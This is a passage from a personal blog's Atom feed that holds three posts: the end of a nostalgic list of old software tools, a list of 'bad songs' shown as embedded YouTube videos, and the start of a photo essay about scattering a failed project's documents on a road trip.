&amp;quot;make&amp;quot; components to the component subfile.  &lt;br /&gt;;  &lt;br /&gt;access *mm29dr3  &lt;br /&gt;subfile mm29dr2 append &amp;amp;  &lt;br /&gt;        include comno,upn,tpflag,tsonum  &lt;br /&gt;set process lim 500000  &lt;br /&gt;go  &lt;br /&gt; &lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Ray_tracing_%28graphics%29"&gt;Ray  Tracing&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Between 1993 and 1995, graphics programs that could do Ray Tracing became  available for PC. The programs were primitive, and required a LOT of code just  to produce a simple shape like a sphere. They took hours or days to render 1  full image. I made the following image in 1994. It took me about 8 hours to  code, and 40+ hours to render this one image at 640X480...and that was the best  high-color resolution available at the time. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_RKccMqogNXc/RwL7gmc8ZrI/AAAAAAAAABg/p55blYFNqqs/s1600-h/BERTcast.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5116928664142636722" style="margin: 0px auto 10px; display: block; cursor: pointer; text-align: center;" alt="" src="http://bp2.blogger.com/_RKccMqogNXc/RwL7gmc8ZrI/AAAAAAAAABg/p55blYFNqqs/s400/BERTcast.jpg" border="0" /&gt; &lt;/a&gt;Talk about tacky! At the time, I was totally blown away by how  sharp this image was and how the software captured the reflections in the mirror and on the floor!  Today this image looks awful, grainy, lo-color, and primitive, and doesn't  even fill 1/4th of my screen. Sad.  &lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Jbuilder"&gt;JBuilder&lt;/a&gt;, &lt;a href="http://www.intranetjournal.com/reviews/powerj.shtml"&gt;PowerJ&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Visual_Cafe"&gt;Visual Cafe&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I'm lumping these three tools together, because they were the top Java IDEs  during the golden age of proprietary Java Development tools. I think I bought  every one of these at some point between 1997 and 2001. They kept leapfrogging  each other in features. Then Eclipse came out and ran away with the market  share. This is yet ANOTHER example of an open-source project harming every  other software maker except Microsoft.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Visual_Age"&gt;Visual Age&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The Fischer Price Java development tool. It made development simple by  severely limiting everything you could do. The worst part of all was that it did  not even store your source files at text files. It put all of your code into  its own little custom binary repository (called ENVY...as in "we envy people  who use other tools") that was prone to corruption and therefore losing all of  your code! It's amazing what IBM toadies will put up with! I remember at JavaOne  2001, IBM announced the end of ENVY...and half the room cheered and half the  room booed. I was in the half that cheered. For the record: We were right!  &lt;/dd&gt;&lt;dd&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Websphere"&gt;Websphere Studio  Application Developer&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;That's probably one of the most ill-named development tools ever. It made an  acronym (WSAD) that you couldn't even pronounce, but most developers called it  "We SAD" :)  &lt;/dd&gt;&lt;dd&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Tuxedo_%28software%29"&gt;Tuxedo&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is a technology only a consultant could love. It required an army of  consultants to install, configure, and administer all the Tuxedo modules. It's  hard to describe Tuxedo other than it was a middleware platform that was  supposed to allow any system to talk to any system by defining transformation  engines for every type of input. I worked at a shop that was using Tuxedo to  allow PowerBuilder client applications to talk to back-end services written in  C. For what we were doing, that was like using a 3-stage Saturn rocket to climb  one flight of stairs. Serious overkill. But it created jobs for 200+ consultants  at this company. Sad. &lt;/dd&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;br /&gt;&lt;br /&gt;Whew!  That's all I can think of for now.  What started off as a simple blog entry turned into a multi-day project, and I'm sure I'll think of many others to add later...so this is only the end of the list FOR NOW.  =)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-3675677858114300397?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/3675677858114300397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=3675677858114300397' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3675677858114300397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/3675677858114300397'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2009/03/30-years-and-counting.html' title='30 Years and Counting!'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_RKccMqogNXc/SU2qzUNGmCI/AAAAAAAAAE4/SIFfruV2wKA/s72-c/homepage.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-8185898933466656709</id><published>2009-02-25T19:02:00.008-06:00</published><updated>2009-02-25T19:31:36.228-06:00</updated><title type='text'>Bad songs I really like: Volume 11</title><content type='html'>&lt;span style=";font-family:arial;color:black;"  &gt;&lt;br /&gt;Some many years ago, I would occasionally make CD's full of bad songs that I got hooked on or couldn't get out of my head, just so I could spread the misery of these catchy bad songs to others.  :)&lt;br /&gt;&lt;br /&gt;But when Napster died, I lost my source for obscure music.  I believe my last CD was "Volume 10".&lt;br /&gt;&lt;br /&gt;I'm reviving that tradition with new technologies: YouTube and a blog. &lt;br /&gt;&lt;br /&gt;These are bad songs put to bad videos...that I like.&lt;br /&gt;&lt;br /&gt;I hope someone out there hates liking some of these songs as much as I do. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/auEGzIBUqS8&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/auEGzIBUqS8&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;I'm very sorry.  This is really awesomely bad...in a good way.  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/-hWZqllm3mQ&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/-hWZqllm3mQ&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;I didn't think it was possible to cram the entire 80's into one video.  Good job!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/auEGzIBUqS8&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/8r23cm7bL9E&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;strong&gt;YouTube forbids embedding this video, so here's just the link.&lt;/strong&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=8r23cm7bL9E"&gt;http://www.youtube.com/watch?v=8r23cm7bL9E&lt;/a&gt;&lt;br /&gt;This song makes me want to buy yet another iPod...or bubblegum...or a Pepsi...or bubblegum flavored Pepsi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/87nkJquHnAU&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/87nkJquHnAU&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Beware:  This is the worst one of the list!!  But I couldn't get this song out of my head for days!  The guy singing looks like Milton from Office Space...which I could accept, but it doesn't match the girl the cast for the video.  I love the way they emphasized the theme of "separation" by sending the guy to the moon at the end.  That is so STUPID it's brilliant!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qc3Zzvp5EDc&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/qc3Zzvp5EDc&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;When it comes to being dark and depressing, the T.V. show "Full Metal Alchemist" tops even BSG.  This video is a tribute to the villains from the show.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qc3Zzvp5EDc&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/4DdCFczrodc&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;strong&gt;YouTube forbids embedding this video, so here's just the link.&lt;/strong&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=4DdCFczrodc"&gt;http://www.youtube.com/watch?v=4DdCFczrodc&lt;/a&gt;&lt;br /&gt;I'm also sorry for liking this song.  I know this is lame.  I really do.  But I like it.  I really do.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/0nlaJ4zPbSI&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/0nlaJ4zPbSI&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;I can't help but like this song! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/zirIiqDmQXQ&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/zirIiqDmQXQ&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;This is a fast and chaotic live version of my favorite bad Smashing Pumpkins song.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/xi8KdTk0u0g&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/xi8KdTk0u0g&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Okay...so this is a bit corny, but it's still fun to watch.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/8AbqeOk4EAQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/8AbqeOk4EAQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;I actually like this version better than the original Korn version.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Ijh2Fqd1ZPY&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/Ijh2Fqd1ZPY&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Ahhh...cheesy 90's euro-rock!  :)  If your band members can't do anything interesting, then just zoom the camera in and out real fast!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="295"&gt;&lt;param name="movie" value="http://www.youtube.com/v/8alxBofd_eQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/8alxBofd_eQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;This video is not sped up.  This is Yuja Wang and she really can play piano THAT fast.  She's also impressive here: &lt;a href="http://www.youtube.com/watch?v=j1fgo7hp-Ko"&gt;http://www.youtube.com/watch?v=j1fgo7hp-Ko&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/SWf3iJjqYCM&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/SWf3iJjqYCM&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;This is from the T.V. show "Flight of the Conchords".  Really all of their videos could make my list, but this one is especially "bad".  :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="295"&gt;&lt;param name="movie" value="http://www.youtube.com/v/4nigRT2KmCE&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/4nigRT2KmCE&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;He's using an Apple ][ in the video.  How cool is that???  :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's it for Volume #11.  I hope there's at least one song here that you hate liking too. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-8185898933466656709?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/8185898933466656709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=8185898933466656709' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8185898933466656709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8185898933466656709'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2009/02/bad-songs-i-really-like-volume-11.html' title='Bad songs I really like: Volume 11'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-2910223003638869200</id><published>2008-12-21T11:45:00.042-06:00</published><updated>2008-12-22T13:05:46.380-06:00</updated><title type='text'>The ghost of projects past!</title><content type='html'>&lt;font style="" color="black" face="arial"&gt;&lt;br /&gt;I was flipping through some of my old archives...and I came across a bunch of pictures I took on a 12-day road trip I took back in November of 2001.  I forgot that one of my goals of that trip was to get rid of an entire folder full of project documentation.&lt;br /&gt;&lt;br /&gt;You see, when I worked for [an insurance company], I was on a doomed project.  This was literally the worst project of my career.  It was every textbook mistake, every Dilbert cartoon, every flaw in management, and every bad process rolled up into one project.&lt;br /&gt;&lt;br /&gt;The gist of the application was a web application for online insurance enrollments written for a FoxPro back-end system.  This client piece was to support the Microsoft IE browser ONLY.  The back-end FoxPro application had to communicate with a poorly understood mainframe system and produce reports using a horrible reporting tool that I'm pretty sure no other company on Earth purchased besides us.&lt;br /&gt;&lt;br /&gt;I could go on and on with the list of ill-advised technical requirements that were given to us by non-technical people.&lt;br /&gt;&lt;br /&gt;In order to protect itself, our dysfunctional I.T. department drowned this project in process.  We can't be blamed for failure if we followed "the process" to the letter...right?&lt;br /&gt;&lt;br /&gt;What resulted was ALL DAY long meetings, 3 or 4 days a week, for weeks on end.  We foolishly tried to hash out every detail of design with a committee consisting of mostly people who knew neither the technology nor the business.  I tried to correct the project at every turn, but I was always out-voted by people who had never written software.  Eventually they stopped inviting me to the meetings completely.  Then about 6 months and 3 committees later, the project finally admitted failure and was canceled.&lt;br /&gt;&lt;br /&gt;I took out my entire project folder of documents and notes, and was about to throw it in the trash...but that just didn't seem satisfying enough.  I needed something more cathartic.  I was about to go on a long vacation, so I took my project documents with me, hoping to toss them off a bridge, or throw them in the ocean, or drop them in a public port-a-potty, or whatever.&lt;br /&gt;&lt;br /&gt;Instead of one grand gesture like that, what happened was dozens of smaller gestures as I left individual pages of my folder all over 9 states.  Here is my photo essay of what happened to those pages.&lt;br /&gt;&lt;br /&gt;Note: I have edited the pictures to blot out the company name...just in case.  :)&lt;br /&gt;&lt;br /&gt;---------------------------------------------&lt;br /&gt;I started off leaving a pages on various tree stumps, in remembrance to all the trees that gave their lives producing all the paper for this useless project.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6KMHiF10I/AAAAAAAAAOA/NjfMYGmgNNQ/s1600-h/P0310.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6KMHiF10I/AAAAAAAAAOA/NjfMYGmgNNQ/s400/P0310.jpg" alt="" id="BLOGGER_PHOTO_ID_5282311353737271106" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hmmm....a train boxcar...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6KLxmlt-I/AAAAAAAAAN4/z0_fiA2gYBo/s1600-h/P0400.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6KLxmlt-I/AAAAAAAAAN4/z0_fiA2gYBo/s400/P0400.jpg" alt="" id="BLOGGER_PHOTO_ID_5282311347850557410" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...is one good way to send these documents far away!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6KLljRm5I/AAAAAAAAANw/d1WC03W4OZE/s1600-h/P0410.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6KLljRm5I/AAAAAAAAANw/d1WC03W4OZE/s400/P0410.jpg" alt="" id="BLOGGER_PHOTO_ID_5282311344615431058" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here comes an actual train...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6J-UXvycI/AAAAAAAAANo/xouOcgSbjx8/s1600-h/P0440.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6J-UXvycI/AAAAAAAAANo/xouOcgSbjx8/s400/P0440.jpg" alt="" id="BLOGGER_PHOTO_ID_5282311116665375170" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Danger...ill-conceived project crossing!!! &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6J-B8nhKI/AAAAAAAAANg/C4VZCfEnXZk/s1600-h/P0450.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6J-B8nhKI/AAAAAAAAANg/C4VZCfEnXZk/s400/P0450.JPG" alt="" id="BLOGGER_PHOTO_ID_5282311111719748770" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A steamboat?&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6J9z24dsI/AAAAAAAAANY/bkZyoeWtiVQ/s1600-h/P0500.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6J9z24dsI/AAAAAAAAANY/bkZyoeWtiVQ/s400/P0500.jpg" alt="" id="BLOGGER_PHOTO_ID_5282311107937597122" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Say...that's a niiice boat!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SU6J9hIyiFI/AAAAAAAAANQ/IO1t_3dgbr4/s1600-h/P0510.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RKccMqogNXc/SU6J9hIyiFI/AAAAAAAAANQ/IO1t_3dgbr4/s400/P0510.jpg" alt="" id="BLOGGER_PHOTO_ID_5282311102912432210" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It deserves some niiiice documents!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6J9V4m3AI/AAAAAAAAANI/R2TCYCFK6sk/s1600-h/P0520.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6J9V4m3AI/AAAAAAAAANI/R2TCYCFK6sk/s400/P0520.jpg" alt="" id="BLOGGER_PHOTO_ID_5282311099891768322" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I tried not to fall into the river reaching across for this one...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Jp8VuVcI/AAAAAAAAANA/9x_1-7iFIes/s1600-h/P0530.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Jp8VuVcI/AAAAAAAAANA/9x_1-7iFIes/s400/P0530.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310766617056706" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...because falling into the Ohio river would be more-than-disgusting!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6Jpmp9KtI/AAAAAAAAAM4/YjoKwX-jbyU/s1600-h/P0560.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6Jpmp9KtI/AAAAAAAAAM4/YjoKwX-jbyU/s400/P0560.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310760796334802" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here I am at the Iowa Botanical Gardens, with countless species of plants and flowers...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JpAArOEI/AAAAAAAAAMw/TcY-6HydyDg/s1600-h/P0600.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SU6JpAArOEI/AAAAAAAAAMw/TcY-6HydyDg/s400/P0600.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310750422644802" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...and perennial project plans.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Jo4XW4qI/AAAAAAAAAMo/fQuY0S-MD8o/s1600-h/P0625.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6Jo4XW4qI/AAAAAAAAAMo/fQuY0S-MD8o/s400/P0625.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310748370297506" border="0"&gt;&lt;/a&gt;&lt;br /&gt;Don't touch!  Sharp pointy project notes!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SU6JoquQ_TI/AAAAAAAAAMg/2zmY7RqkoXM/s1600-h/P0630.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_RKccMqogNXc/SU6JoquQ_TI/AAAAAAAAAMg/2zmY7RqkoXM/s400/P0630.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310744708283698" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let's see if prayer can save a project plan!  (nope)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JX-l6RUI/AAAAAAAAAMY/KNqlAjShV-o/s1600-h/P0640.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_RKccMqogNXc/SU6JX-l6RUI/AAAAAAAAAMY/KNqlAjShV-o/s400/P0640.jpg" alt="" id="BLOGGER_PHOTO_ID_5282310457984173378" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Purdue University.  Founded in 1869...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 